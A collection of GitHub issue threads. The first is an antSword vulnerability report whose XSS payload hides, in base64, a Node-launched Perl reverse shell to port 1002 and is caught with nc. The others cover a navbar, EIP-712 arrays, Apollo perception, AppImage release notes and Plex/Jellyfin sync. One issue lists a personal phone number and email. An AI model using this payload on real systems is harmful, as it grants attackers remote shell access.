text:
antSword self-XSS Vulnerability leads to RCE

除了已知问题，这里还有一处输入点没有过滤，能够造成XSS并执行命令。
在主页添加一个shell，右键点击数据操作，进入数据库管理页面

在数据库地址处输入payload，这里的输入点没有过滤，直接执行
localhost<img src onerror="eval(new Buffer(`cmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWMoJ3BlcmwgLWUgXCd1c2UgU29ja2V0OyRpPSIxMjcuMC4w LjEiOyRwPTEwMDI7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoU yxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI+JlMiKTtvcGVuKF NUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9iYXNoIC1pIik7fTtcJycsKGVycm9yLCBzdGRvdXQsIHN0ZGVycik9PnsKICAgIGFsZXJ 0KGBzdGRvdXQ6ICR7c3Rkb3V0fWApOwogIH0pOw==`,`base64`).toString())">

开启nc监听1002端口，即可接到反弹的shell

或者你只想弹个窗也行

self-xss也请修复一下 :D

感谢反馈, 已修复

authors: Medicean miaochiahao

repo: AntSwordProject/antSword


text:
feat(bc): fontend v8.7 support for binding constraints

Description:
This PR introduces a broad array of enhancements, optimizations, and feature additions aimed at significantly improving the user interface and experience of the BindingConstraints component. These changes not only cater to the inclusion of senarized constraints, aligning with v8.7 of the simulator, but also refine the overall layout, address several bugs, and incorporate new functionalities to enrich the user's interaction with the BindingConstraints feature.
Layout and UI Optimizations:

Space optimization to accommodate new features while maintaining a clean and modern UI aesthetic.
A refreshed UI design that enhances clarity and user engagement.
Improved user experience with more intuitive interactions for creating, updating, and deleting constraints.

New Features:

Introduction of an uncontrollable pattern for the Constraint Properties Form, boosting efficiency and enabling manual save operations.
Implementation of a split separator feature, enhancing the flexibility of the UI layout by allowing users to resize views and gain extra space.
Automatic redirection to the first constraint upon initial load, eliminating the issue of a blank screen at startup.
Integration of UI notifications for term updates, providing immediate feedback on changes.
A new dialog for matrix visualization, offering expanded space for easier interaction with constraint matrices.
Auto-appending of newly created constraints to the list and automatic redirection to them, streamlining the workflow.

Bug Fixes:

Correction of the Offset field issue where unwanted updates occurred, and complete deletion from the state was not possible.
Resolution of selection field bugs that led to area swaps and potential major errors.

Technical Improvements:

Enhanced type safety through stronger typing, improving code reliability and maintainability.
Comprehensive refactoring of utility functions and types for better code clarity and efficiency.
Addition of documentation and deprecation notices to guide developers through the transition phase.
Overhaul of naming conventions and a thorough code cleanup for improved readability.
Removal of the problematic AutoSubmitGenerator, addressing previous automation issues.
Adoption of camelCase naming convention across the board for consistency and adherence to best practices.

My bad! I merged this PR by mistake, thinking it was PR #1982 as expected. However, as PR #1982 has not been re-approved, I have unlocked the validation rules on the dev branch, to merge it. 😕
To rectify this situation, I follow the steps below:

Undo the incorrect merge made by mistake en dev and restore your branch.
Merge PR #1982 as planned.
Restore the validation rules on the dev branch to avoid future incorrect merges.

But it's not possible to reopen your PR ❗ So I've opened a new one for you.

source: gharchive/pull-request

authors: hdinia laurent-laporte-pro

repo: AntaresSimulatorTeam/AntaREST

license_type: permissive

license_source: github-api


text:
Составить блок контактной информации

Ссылки на соцсети (Facebook или Instagram и т.д.), номер телефона или адрес электронного ящика и т.д. Может не все ссылки в мире, а только те, что действительно уместны.

Inst: @y.g_dawg
TG: @Antolyk
+380992855566
antolyk.main@gmail.com

source: gharchive/issue

repo: Antolyk/homepage

license: MIT


text:
Make it possible to read Message Headers inside Consumer Handlers

I have different message types in one queue with single routing key.  The message headers have additional information about the type of message. So I want to read message headers inside Handle method in Consumer Handler but for now its not possible it has only string message and routing key.
What do you think?

I would also prefere if the handlers would take the raw eventargs from the native client.

I have just made a slight change and I will draft a new release v4.3.0 soon.
Keep in mind that those changes will break your current code.
I've covered that in changelog https://github.com/AntonyVorontsov/RabbitMQ.Client.Core.DependencyInjection/blob/master/docs/changelog.md#changed and docs https://github.com/AntonyVorontsov/RabbitMQ.Client.Core.DependencyInjection/blob/master/docs/message-consumption.md#synchronous-message-handlers
Best regards,
Antony

authors: AntonyVorontsov JanEggers astaffer


text:
STILL NAVBAAR IS NOT RESPONSIVE ON DIFFRENT DEVICE SIZE

Issue Template

Please fill out this template to help us troubleshoot your issue as quickly as possible.
TO MAKE NAVBAR RESPONSIVE

Bug
Feature request
Other

Description
I see that still the navbar is not responsive for different devices thus i would like to add a hamburger button which will apear when we decrease the size of device thus make it more appealing .
Steps to reproduce
1.Wil add external css
2 .use only css and fontawesme for solving this issue
Expected behavior
What should happen?
when we decrease the size hamburger icon will appear which when clicked others links will appear
Actual behavior
when we decrease the size the links goes out of dimentions.
Screenshots or videos

Version information
What version of the software are you using?
VSCODE
React
CSS

Hey @AnupK1234  I would like to solve this issue as i have encountered this before also thus please assign this issue to me.
thank you.

@Vipul-Harsh
Sure you can start working on this issue.
Make sure you have updated your repo with the latest commits

ok sir

hello @AnupK1234  i have tried to solve the issue and committed the changes in my repo just dont know why the pull request is shown in the other issue #6 so kindly check it if possible.
As i am new to contribution so still learning things about open source contribution.
also i tried to position images on home page using css kindly go through it if possible.


text:
Add pyproject.toml for Custom Node Registry

We are working with dr.lt.data and comfyanon to build a global registry for custom nodes (similar to PyPI). Eventually, the registry will be used as a backend for the UI-manager. All nodes go through a verification process before being published to users.
The main benefits are that authors can

publish nodes by version and users can safely update nodes knowing ahead of time if their workflows will break or not
automate testing against new commits in the comfy repo and existing workflows through our CI/CD dashboard

Action Required:

[ ] Go to the registry. Login and create a publisher id (everything after the @ sign on your registry profile).
[ ] Add the publisher id into the pyproject.toml file.
[ ] Merge the separate Github Actions PR, then merge this PR.

If you want to publish the node manually, install the cli by running pip install comfy-cli, then run comfy node publish
Check out our docs if you want to know more about the registry. Otherwise, feel free to message me on discord at haohao_81202 or join our server if you have any questions!

hey @AonekoSS, wanted to send a small nudge and ask if you had any questions!

@AonekoSS, wondering if there's any way we can support you on this PR!

Thank you, wait a minute.
I'll process it this week.

perfect! lmk if anything comes up 😊
On Tue, Jul 2, 2024 at 2:32 AM Aoneko @.***> wrote:

Thank you, wait a minute.
I'll process it this week.
—
Reply to this email directly, view it on GitHub
https://github.com/AonekoSS/ComfyUI-LoRA-Tuner/pull/1#issuecomment-2202055662,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/BG3AD2O5CZBOLT3BNVQBAQDZKJCRBAVCNFSM6AAAAABJJ57CSWVHI2DSMVQWIX3LMV43OSLTON2WKQ3PNVWWK3TUHMZDEMBSGA2TKNRWGI
.
You are receiving this because you authored the thread.Message ID:
@.***>

authors: AonekoSS haohaocreates

repo: AonekoSS/ComfyUI-LoRA-Tuner

license: Unlicense


text:
supoprt delegates [APE-1156]

Overview
safe owners can manage delegates. delegates can submit transactions to the safe api. they sign them as ususal, but once accepted, these transactions will have 0 confirmations. delegating tx creation is useful for different automation.
Specification
create_delegate_message_hash
get_delegates
add_delegate
remove_delegate
Dependencies
none

closing in favor of #16, which has more info

authors: banteg fubuloubu

repo: ApeWorX/ape-safe


text:
Structured data v4 support (array types)

Got this question from a potential user:

Did you implement in your package the 4th version of the typed data encoding?

From what I see the "v4" encoding is defined by Metamask here:

https://docs.metamask.io/guide/signing-data.html#sign-typed-data-v4
https://github.com/MetaMask/eth-sig-util/blob/main/src/index.ts

The method signTypedData_v4 currently represents the latest version of the EIP-712 spec (opens new window), with added support for arrays and with a breaking fix for the way structs are encoded.

We don't have support for arrays at the moment. Here's how it's currently failing when trying to encode a uint[] field:
=================================== FAILURES ===================================
___________________________ test_multilevel_message ____________________________
[gw0] linux -- Python 3.8.10 /home/cuboid/eip712_env/bin/python3

    def test_multilevel_message():
        msg = ValidMessageWithNameDomainField(value=1, sub=SubType(inner=2), foo=[1])

        assert msg.version.hex() == "01"
        assert msg.header.hex() == "336a9d2b32d1ab7ea7bbbd2565eca1910e54b74843858dec7a81f772a3c17e17"
>       assert msg.body.hex() == "306af87567fa87e55d2bd925d9a3ed2b1ec2c3e71b142785c053dc60b6ca177b"

tests/test_messages.py:27:
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
eip712/messages.py:188: in body
    return hash_eip712_message(self.body_data)
eip712/hashing.py:263: in hash_message
    encode_data(
eip712/hashing.py:245: in encode_data
    data_types_and_hashes = _encode_data(primaryType, types, data)
../../eip712_env/lib/python3.8/site-packages/eth_utils/functional.py:45: in inner
    return callback(fn(*args, **kwargs))
eip712/hashing.py:211: in _encode_data
    array_items_encoding = [
eip712/hashing.py:212: in <listcomp>
    encode_data(parsed_type.base, types, array_item) for array_item in array_items
eip712/hashing.py:245: in encode_data
    data_types_and_hashes = _encode_data(primaryType, types, data)
../../eip712_env/lib/python3.8/site-packages/eth_utils/functional.py:45: in inner
    return callback(fn(*args, **kwargs))
eip712/hashing.py:153: in _encode_data
    yield "bytes32", hash_struct_type(primary_type, types)
eip712/hashing.py:75: in hash_struct_type
    return keccak(text=encode_type(primary_type, types))
eip712/hashing.py:65: in encode_type
    deps = get_dependencies(primary_type, types)
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _

primary_type = 'uint'
types = {'EIP712Domain': [{'name': 'name', 'type': 'string'}], 'SubType': [{'name': 'inner', 'type': 'uint256'}], 'ValidMessag..., {'name': 'foo', 'type': 'uint[]'}, {'name': 'default_value', 'type': 'address'}, {'name': 'sub', 'type': 'SubType'}]}

    def get_dependencies(primary_type, types):
        """
        Perform DFS to get all the dependencies of the primary_type
        """
        deps = set()
        struct_names_yet_to_be_expanded = [primary_type]

        while len(struct_names_yet_to_be_expanded) > 0:
            struct_name = struct_names_yet_to_be_expanded.pop()

            deps.add(struct_name)
>           fields = types[struct_name]
E           KeyError: 'uint'

eip712/hashing.py:26: KeyError

More info:

I used eth_account lib for structured_data encoding (your implementation looks the same). I got a result different from the result obtained when using the eth-sig-util (js library). To reproduce js result I add
value = bytearray.fromhex(value.decode('utf-8').replace('0x', ''))
before
hashed_value = keccak(primitive=value)
in _encode_data method (eth_account._utils.structured_data.hashing.py) in case, when field["type"] == "bytes"
this case (rows 189:203 in hashing.py file)

elif field["type"] == "bytes":
            if not isinstance(value, bytes):
                raise TypeError(
                    "Value of {0} ({2}) in the struct {1} is of the type {3}, but expected "
                    "bytes value".format(
                        field["name"],
                        primary_type,
                        value,
                        type(value),
                    )
                )
            # Special case where the values need to be keccak hashed before they are encoded
            value = bytearray.fromhex(value.decode('utf-8').replace('0x', ''))
            hashed_value = keccak(primitive=value)
            yield "bytes32", hashed_value


text:
Perception camera Apollo 5.5 won't run

Hi, I am trying to run camera perception in Apollo 5.5 but I cannot get it to start. Please find details below including the gdb and bt output, thanks a lot!
System information

OS Platform and Distribution (e.g., Linux Ubuntu 18.04): Ubuntu 18.04
Apollo installed from (source or binary): source
Apollo version (3.5, 5.0, 5.5, 6.0): 5.5
Output of apollo.sh config if on master branch: n/a

Steps to reproduce the issue:

Please use bullet points and include as much details as possible:

start other modules (localization, transform, ...) using dreamview

gdb --args mainboard -d modules/perception/production/dag/dag_streaming_perception_camera.dag

Supporting materials (screenshots, command lines, code/script snippets):

It is recommended to migrate to the new version and have a try!

repo: ApolloAuto/apollo

license_source: bigquery


text:
Wrong location on Apollo 5.0

Hi,
I downloaded Apollo from the following URL and used the san_francisco map.
https://github.com/ApolloAuto/apollo/tree/r5.0.0
When I am using LGSVL and Apollo 5.0, the location information cannot be synchronized, as shown in the figure below.
However, I did not encounter this situation when I simulated some maps such as borregas_ave and go_mentum.
How can I solve the problem of location synchronization? Thank you all for your answers in advance!

time sync
The error message is that the time of the IMU is not syn chronized. If it is two machines, make sure that the time is consistent.

It's the same machine and it's doesn't matter. Because I also meet this error and it also works well.

time sync
The error message is that the time of the IMU is not syn chronized. If it is two machines, make sure that the time is consistent.

It's the same machine and it's doesn't matter. Because I also meet this error and it also works well.

Hi, I also meet this problem. Did you find a solution for that?

Closed due to inactivity. If the problem persists, pls feel free to reopen it or create a new one and refer to it.


text:
Need help running Camera-based object detection (3d-yolo, SMOKE) using Python

We appreciate you go through Apollo documentations and search previous issues before creating an new one. If neither of the sources helped you with your issues, please report the issue using the following form. Please note missing info can delay the response time.
System information

Google Colab Notebook
Python 3.10
Model files were pulled from Apollo r8.0.0.0 docker image

Steps to reproduce the issue:

Load the models using the respective frameworks (3d-yolo -> PaddlePaddle, SMOKE -> PyTorch)
Load the images from Waymo Open Dataset (Waymo-open-dataset-tf-2-11-0==1.5.1) into tensors
Run inference

Supporting materials (screenshots, command lines, code/script snippets):

3d-yolo

Here I'm loading 3d-yolo's inference model using PaddlePaddle

def initModel(path_to_model: str, model_file_name: str) -> list:
    # Check if paddlepaddle is installed correctly
    paddle.utils.run_check()

    # Set the device to cpu
    paddle.set_device('cpu')

    paddle.enable_static()
    place = paddle.CPUPlace()
    exe = paddle.static.Executor(place)

    [inference_program, feed_target_names, fetch_targets] = paddle.static.load_inference_model(
        path_prefix = path_to_model,
        executor = exe,
        model_filename = model_file_name + '.pdmodel',
        params_filename = model_file_name + '.pdiparams'
    )
    return [inference_program, feed_target_names, fetch_targets, exe]

Here I'm loading the images from Waymo Open Dataset as tensors

def imageByteToTensor(dataframe, yieldInterval = 20):
  imgs = []
  orignal_img = []
  i = 1
  for _, row in dataframe.iterrows():
    if i % yieldInterval == 0:
      yield [tf.convert_to_tensor(imgs), orignal_img]
    image_dict = v2.CameraImageComponent.from_dict(row)
    image_tensor = tf.image.decode_image(image_dict.image, channels=3, dtype=tf.dtypes.float32)
    image_tensor = tf.image.resize(image_tensor, [800, 1440])
    imgs.append(image_tensor / 255)
    orignal_img.append(image_dict.image)
    i += 1

Here I'm running the inference

x = imageByteToTensor(images, 1)
tensor, imgs = next(x)
res = executor.run(program, feed={target_names[0]: tensor.numpy()}, fetch_list=targets)

Here is what the object targets contain which I presume is the format of res. There's currently no documentation on what these tensors mean, and I've been trying to look for documentation on it. Could any of the developers be kind enough to shed some light? Much appreciated!

[var save_infer_model/scale_0 : LOD_TENSOR.shape(-1, 50, 90, 16).dtype(float32).stop_gradient(False),
var save_infer_model/scale_1 : LOD_TENSOR.shape(-1, 50, -1, 128).dtype(float32).stop_gradient(False),
var save_infer_model/scale_2 : LOD_TENSOR.shape(-1, 50, 90, 32).dtype(float32).stop_gradient(False),
var save_infer_model/scale_3 : LOD_TENSOR.shape(-1, 50, 90, 48).dtype(float32).stop_gradient(False),
var save_infer_model/scale_4 : LOD_TENSOR.shape(-1, 50, 90, 16).dtype(float32).stop_gradient(False),
var save_infer_model/scale_5 : LOD_TENSOR.shape(-1, 50, 90, 16).dtype(float32).stop_gradient(False),
var save_infer_model/scale_6 : LOD_TENSOR.shape(-1, 50, 90, 16).dtype(float32).stop_gradient(False),
var save_infer_model/scale_7 : LOD_TENSOR.shape(-1, 50, 90, 16).dtype(float32).stop_gradient(False),
var save_infer_model/scale_8 : LOD_TENSOR.shape(-1, 50, 90, 16).dtype(float32).stop_gradient(False),
var save_infer_model/scale_9 : LOD_TENSOR.shape(-1, 50, 90, 16).dtype(float32).stop_gradient(False),
var save_infer_model/scale_10 : LOD_TENSOR.shape(-1, 50, -1, 4).dtype(float32).stop_gradient(False),
var save_infer_model/scale_11 : LOD_TENSOR.shape(-1, 50, 90, -1, 4).dtype(float32).stop_gradient(False),
var save_infer_model/scale_12 : LOD_TENSOR.shape(-1, 50, 90, 64).dtype(float32).stop_gradient(False),
var save_infer_model/scale_13 : LOD_TENSOR.shape(-1, 50, 90, 64).dtype(float32).stop_gradient(False),
var save_infer_model/scale_14 : LOD_TENSOR.shape(-1, 64, 200, 360).dtype(float32).stop_gradient(False)]

SMOKE

Here I'm loading smoke_libtorch_model.pth using PyTorch

model = torch.jit.load('/content/drive/MyDrive/fyp/models/smoke_libtorch/smoke_libtorch_model.pth')
model.eval()

Problem here is that model.forward() takes in 2 arguments as seen in print(model.code()). So, what should Ks and down_ratios be set to? Much appreciated!

def forward(self,
    input: Tensor,
    argument_2: Tuple[Tensor, Tensor]) -> Tuple[Tensor, Tensor]:
  heads = self.heads
  backbone = self.backbone
  Ks, down_ratios, = argument_2
  _0 = (backbone).forward(input, )
  _1 = (heads).forward(_0, Ks, down_ratios, )
  return (_1, _0)

can i say there are some problems here
3d-yolo -> PaddlePaddle   // it's use tensorRT, but not PaddlePaddle
SMOKE -> PyTorch  // it's pytorch version

and be sure SMOKE need 3 inputs
https://github.com/ApolloAuto/apollo/blob/446c9c6d481fef9853ab9f167a0e934092058244/modules/perception/camera/lib/obstacle/detector/smoke/smoke_obstacle_detector.cc#L96-L101
You can get more details in
https://github.com/ApolloAuto/apollo/blob/446c9c6d481fef9853ab9f167a0e934092058244/modules/perception/camera/lib/obstacle/detector/smoke/smoke_obstacle_detector.cc#L313

Hi @daohu527,
Thank you for pointing it out and please do correct me as I'm a student who is new to all of this!
I have to apologise for the mix up, I used the 3d-r4 model instead of the 3d-yolo model.
Based on apollo_deploy.yml, I understand that 3d-r4-half is using Caffe framework and has 3 outputs (cls_pred, label, confidence). And there are files model and params in the docker image that I'm able to load into PaddlePaddle, and hence the targets object.

As for SMOKE, once again thank you for pointing me to where I should be looking at. After connecting some of the dots, I landed on libtorch_obstacle_detector.cc, should I use the same values?
https://github.com/ApolloAuto/apollo/blob/446c9c6d481fef9853ab9f167a0e934092058244/modules/perception/inference/onnx/libtorch_obstacle_detector.cc#L69-L74
I also noticed that values are pulled from a map
https://github.com/ApolloAuto/apollo/blob/446c9c6d481fef9853ab9f167a0e934092058244/modules/perception/inference/onnx/libtorch_obstacle_detector.cc#L110-L125
Thank you!

I think these will help you
    fake_input = torch.zeros([1, 3, 640, 960]).cuda() # apollo use 640 960
    K = torch.tensor([[[1, 0, 0], [0, 1, 0], [0, 0, 1]]]).float().cuda()
    down_ratio = torch.tensor([[10, 8.4375]]).float().cuda()
    cam_info = (K, down_ratio)
    output = model(fake_input, cam_info)


text:
Assemble "Release notes" by looking at the GitHub API

Sparkle Framework on macOS shows these information windows:

But they have an extra feed (AppCast) for this kind of metadata, which is extra work to produce.
QGitHubReleaseAPI seems to be able to put together something similar from the information on GitHub:

https://github.com/velnias75/QGitHubReleaseAPI

The library is not well maintained and lacks licensing information. Also, it doesn't "put together" anything,
it is merely a library downloading the JSON blob from GitHub's releases API, and display the description with a Markdown renderer.
GitHub Releases release notes often don't contain anything interesting in my experiences, it's mostly bigger projects who put together some words as release notes. Especially for continuous releases, there's no real value of showing a link to the Travis build log for instance.
So, yes, could be shown. Definitely not a priority right now.

It's meant as inspiration - can also reimplement it. But agree, not the highest priority right now. Only once people start to ask for "changelogs" and we need to pull them out of thin air.

Sure. But I guess we'll have to write that ourselves then. Shouldn't be too hard, I'll just have to look into JSON libraries for C++.

Now that we have a somewhat functional Qt UI built as reusable widget, we could add another widget that can be shown after the update check which shows such a "release notes" window.
But first, we need to amend the AppImage specification and specify methods for the supported update information types defining where and how to download these release notes.

But first, we need to amend the AppImage specification and specify methods for the supported update information types defining where and how to download these release notes.

I don't think the AppImage spec has to be involved. This is merely a feature of the client, not of the AppImage format or the format of the update information.

Do we? I don't think the AppImage spec has to be involved. This is merely a feature of the client, not of the AppImage format or the format of the update information.

Thats true. For GitHub , I can simply take the json value for the key 'body' to get the release notes. It will be empty in case if there is no changelog given by the author. But I can't say the same for a Web Server and Bintray. One workaround is to include the link to the raw changelog file ( In case of a  Web Server or Bintary).
This is what I did for my version of API for changlog support.

Changelog = jsonObject["body"].toString();

and A function to mention a direct link to the changelog file (MarkDown). In case the direct changelog file is empty , Github release notes will be used. Simple right ?...  ( If both are empty then there is no release note. )

Of course it is something update information dependent. With the GitHub releases type, for example, we could support it because we download the release information anyway, and could provide it to the user as a property, for example. But some AppImages (like appimaged or appimagetool -- note for myself: update those strings) still use the plain zsync type. Now, while those are on GitHub, too, they won't support this feature.
I think this needs to be documented. And since the AppImage specification is responsible for update stuff, I'd put it there.

we should at least document it

Sure - but I am not convinced that the AppImage specification is the place to document where AppImageUpdate parses changelogs. I'd assume the AppImageUpdate documentation is the best place for that?

Thinking about it, I think you're right. We can put it in this repo's docs. The spec doesn't care about what features are implemented upon the information read from the AppImage.

authors: TheAssassin antony-jr probonopd

repo: AppImage/AppImageUpdate


text:
membuat controller

membuat file controller dan merubah bagian config

sudah menambakan controller dan config


text:
[BUG] Not importing all items from Plex

Describe the bug
syncing Plex > Jellyfin.
For some reason, Watchstate isn't detecting all shows/épisodes/movies in my Plex library.
I noticed this because in Jellyfin I had a bunch of shows that didn't have all episodes marked as watched.
When I looked at the backend for Plex using backend:search:query the episodes just aren't there, but they ARE watched in Plex.  It's very inconsistent. Like the same show may have some episodes of a season marked as watched and others not when they are all watched in Plex.
I also notice the Plex import only makes 73 calls to the backend but I have about 1400 shows and 15000+ episodes. There aren't any errors running with -vvv other than some external IDs that can't be found (which is normal for some of the obscure shows I have).
To Reproduce
Not sure 🤔
Expected behavior
All shows and episodes would appear in the watchstate database.
** Tool Version:**
WatchState 068d935

Hello,
Thanks for your report, if everything is syncing except for episodes or shows this likely means there is no common GUIDs between the shows.
to determine the cause, do something like this
$ docker exec -ti watchstate console db:list --title "ShowName" --output yaml

check the GUIDs, and make sure both plex and jellyfin has the same id
you can see the raw responses related to the shows using the following command
$ docker exec -ti watchstate console backend:search:query backend_name "ShowName" --output yaml --include-raw-response  --limit 1

do it for both servers and post the results if you are unable to determine the problem make sure to mask any identifiable information. This likely related to series not having a GUID in common.

@stokkes any updates?

Closing as there is no reply for week. Please reopen if you feel the issue is present.

Hi @ArabCoders .. sorry for not responding, my notifications from Github were apparently not getting to me.
Before I get into the Syncing, I just want to try to understand why WatchState doesn't pick up all the episodes from Plex.. If I understand properly, just doing a watchstate console state:import  should import all play states from my backend (in this case, it's plex_prod) and store it in the database, no? Again, forget the syncing, just issuing that command to my understanding queries Plex and should pull the watchstate from the entire DB.
If i take a show, The Walking Dead for example, if I runwatchstate console backend:search:query plex_prod "The Walking Dead", the output returns the show (good), but only returns 19 episodes in the backend (and random episodes at that), but I have all the Walking Dead Episodes and I've watched about 5 seasons.
The other weird thing I've noticed (mentioning it because maybe it's related?) is that my Plex ID for my admin user is showing up at 1 when issuing a watchstate console backend:users:list plex_prod (which I'm guessing is normal since I'm the admin), but when I watch episodes and setup the watchstate webhook, Plex sends a completely different ID (8610) for my exact user (I only have 1 plex account).  Here is that output:
[2022-12-18T15:02:38.734981-05:00] webhook.ERROR: token is valid, User matching failed. {"request":{"id":"b86ff9d3-a894-4c60-9cfe-a3671c0e8897","ip":"172.18.0.2","agent":"PlexMediaServer/1.29.2.6364-6d72b0cf6","uri":"/?apikey=api_key_removed"},"messages":["Request user id [8610] does not match configured value [1]"],"attributes":{"backend":{"id":"c55174ac499a384885f850381110546528fd2538","name":"stewie Cloud","client":"PlexMediaServer","version":"1.29.2.6364-6d72b0cf6"},"user":{"id":8610,"name":"Stokkes"},"item":{"id":"14904","type":"episode"},"webhook":{"event":"media.resume"}}} []

Don't want to confuse the issues, so if you think the webhook mismatch UserID isn't related to my first issue, then I can open a new github issue on that one.

Hi, Indeed the webhook error isn't related, this is likely due to plex screwing up with their internal ids. you can safely turn off matching user if you are the only plex user using that account. Otherwise manually change the user id to the one being reported.
For the show, try running console db:list --title "The Walking Dead" --limit 200 --output yaml do you see all your entries or not, the command you used watchstate console backend:search:query plex_prod "The Walking Dead" reports what plex is matching not what is inside the database.

Ok, so yes they do appear there with this command console db:list --title "The Walking Dead" --limit 5000 --output yaml | grep "The Walking Dead - S0" | wc -l reports back over 200 episodes, so seems good, back to sync issue.
Ok, so looks to be a GUID issue then? I found a show in particular, NCIS which has a bunch of seasons marked as unplayed in Jellyfin.. For testing, I went into Plex and marked one of the seasons as unplayed and marked it as played again (manuallly).. I then ran a state:import and it found the episodes! I retried with another season, same thing. So it appears that manually marking a season/episode/show/etc as unplayed and then played makes it get picked up.
I wonder if this is due to when the episode was initially played (e.g.: NCIS Season 5 was like 10+ years ago), maybe it registered a different GUID?
If this is the case, is there anyway you know of that I can force this process? I've been running Plex since it was OSXBMC so my library is very old so having to dig through tens of thousands of shows and re-marked them as watched so I can sync them to jellyfin makes me want to poke my eyes out with a dull spoon. :)

If this is the case, is there anyway you know of that I can force this process? I've been running Plex since it was OSXBMC so my library is very old so having to dig through tens of thousands of shows and re-marked them as watched so I can sync them to jellyfin makes me want to poke my eyes out with a dull spoon. :)

you can use -f from console help state:import   -f, --force-full                         Force full import. Ignore last sync date. =)
try it and report back, and you can always just delete the db and start fresh

So something is very odd.. I took another show, NCIS and did the output yaml command from above.. One particular episode which is definitely marked as watched in Plex (S12E01) is not being picked up as watched by WatchState.
Here is the yaml for this one, you can see "watched" = "0", but I'm staring at my Plex screen now and it's showing as watched.. (if I manually mark as unwatched and then re-mark as watched, the 0 below turns into a 1):
  id: 70110
  type: episode
  updated: 2021-12-15T04:04:17-05:00
  watched: false
  via: plex_prod
  title: NCIS
  year: 2014
  season: 12
  episode: 1
  parent:
    guid_imdb: tt0364845
    guid_tmdb: '4614'
    guid_tvdb: '72108'
    guid_tvrage: '4628'
  guids: {  }
  metadata:
    jellyfin_dev:
      id: 3a54f58131995b91cfeee5534ad4a905
      type: episode
      watched: '0'
      via: jellyfin_dev
      title: NCIS
      guids:
        guid_imdb: tt3607318
        guid_tvdb: '4956078'
        guid_tvrage: '1065523346'
      added_at: '1639559057'
     extra:
        title: 'Twenty Klicks'
        date: '2014-09-22'
      library: 767bffe4f11c93ef34b805451a696a4e
      show: 9e78dba3a9285832eb0348e61fb8baa1
      season: '12'
      episode: '1'
      parent:
        guid_imdb: tt0364845
        guid_tmdb: '4614'
        guid_tvdb: '72108'
        guid_tvrage: '4628'
      year: '2014'
      path: '/mnt/media/tvshows/NCIS/Season 12/NCIS - S12E01 - Twenty Klicks (Bluray-1080p).mkv'
    plex_prod:
      id: '288646'
      type: episode
      watched: '0'
      via: plex_prod
      title: NCIS
      guids:
        guid_imdb: tt3607318
        guid_tmdb: '1010118'
        guid_tvdb: '4956078'
      added_at: '1655741519'
      extra:
        title: 'Twenty Klicks'
        date: '2014-09-23'
      library: '1'
      show: '7556'
      season: '12'
      episode: '1'
      parent:
       guid_imdb: tt0364845
        guid_tmdb: '4614'
        guid_tvdb: '72108'
      year: '2014'
      path: '/mnt/media/tvshows/NCIS/Season 12/NCIS - S12E01 - Twenty Klicks (Bluray-1080p).mkv'
  extra:
    jellyfin_dev:
      event: task.import
      received_at: '2022-11-18T04:58:50-05:00'
    plex_prod:
      event: task.import
      received_at: '2022-12-18T19:06:13-05:00'

If you do manual sync does the status get updated? if bot with the -f flag does that correct the problem?
Unfortunately it quite late where i am, it seems to me the problem is that jellyfin has newer date on media thus taking priority over plex. Before adding the 2nd backend in the import process you should added it as metadata source only. After syncing your watch state to jellyfin you then turn on full import from jellyfin.

Ha! You were definitely onto something.
Looks like WatchState did prioritize Jellyfin (not sure why?). I nuked the entire config and restarted from scratch. Added the Plex backend only and then an import. It imported all episodes.. Oddly enough, with this new config, it imported ALL the episodes, with the previous import, no matter if I forced it, it would only import about 1/5th of the episodes I have.
And... the episodes are marked as watched when I do the yaml output.
Not sure if with this information you can prevent this from happening. I'm not sure how to recreate the mess I got myself in, but it almost seems as though because I had watched a lot of these episodes years ago and then maybe configured Jellyfin first before doing an import Plex, that it somehow sees that the episodes not being watched in Jellyfin with a newer timestamp than the old Plex one means it won't mark it as watched.
Appreciate the help! You can keep this closed, hopefully if someone has a similar issue they come across this.

Ok spoke a bit too soon. Watch state for that NCIS episode now works (as well as other ones).. I then added Jellyfin and enabled the export on that backend. Doing a state:export -f doesn't seem to update the watch state. Here is the yaml output (notice the plex is now watched, the GUIDs match, but Jellyfin is still showing watched as 0)..
  id: 70061
  type: episode
  updated: 2017-12-26T16:09:43-05:00
  watched: true
  via: plex
  title: NCIS
  year: 2014
  season: 12
  episode: 1
  parent:
    guid_imdb: tt0364845
    guid_tmdb: '4614'
    guid_tvdb: '72108'
  guids: {  }
  metadata:
    jellyfin:
      id: 3a54f58131995b91cfeee5534ad4a905
      type: episode
      watched: '0'
      via: jellyfin
      title: NCIS
      guids:
        guid_imdb: tt3607318
        guid_tvdb: '4956078'
        guid_tvrage: '1065523346'
      added_at: '1639559057'
      extra:
        title: 'Twenty Klicks'
        date: '2014-09-22'
      library: 767bffe4f11c93ef34b805451a696a4e
      show: 9e78dba3a9285832eb0348e61fb8baa1
      season: '12'
     episode: '1'
      parent:
        guid_imdb: tt0364845
        guid_tmdb: '4614'
        guid_tvdb: '72108'
        guid_tvrage: '4628'
      year: '2014'
      path: '/mnt/media/tvshows/NCIS/Season 12/NCIS - S12E01 - Twenty Klicks (Bluray-1080p).mkv'
    plex:
      id: '288646'
      type: episode
      watched: '1'
      via: plex
      title: NCIS
      guids:
        guid_imdb: tt3607318
        guid_tmdb: '1010118'
        guid_tvdb: '4956078'
      added_at: '1655741519'
      extra:
        title: 'Twenty Klicks'
        date: '2014-09-23'
      library: '1'
      show: '7556'
      season: '12'
      episode: '1'
      parent:
        guid_imdb: tt0364845
        guid_tmdb: '4614'
        guid_tvdb: '72108'
      year: '2014'
      path: '/mnt/media/tvshows/NCIS/Season 12/NCIS - S12E01 - Twenty Klicks (Bluray-1080p).mkv'
      played_at: '1514322583'
  extra:
    jellyfin:
      event: task.import
      received_at: '2022-12-18T20:30:54-05:00'
    plex:
      event: task.import
      received_at: '2022-12-18T19:51:45-05:00'

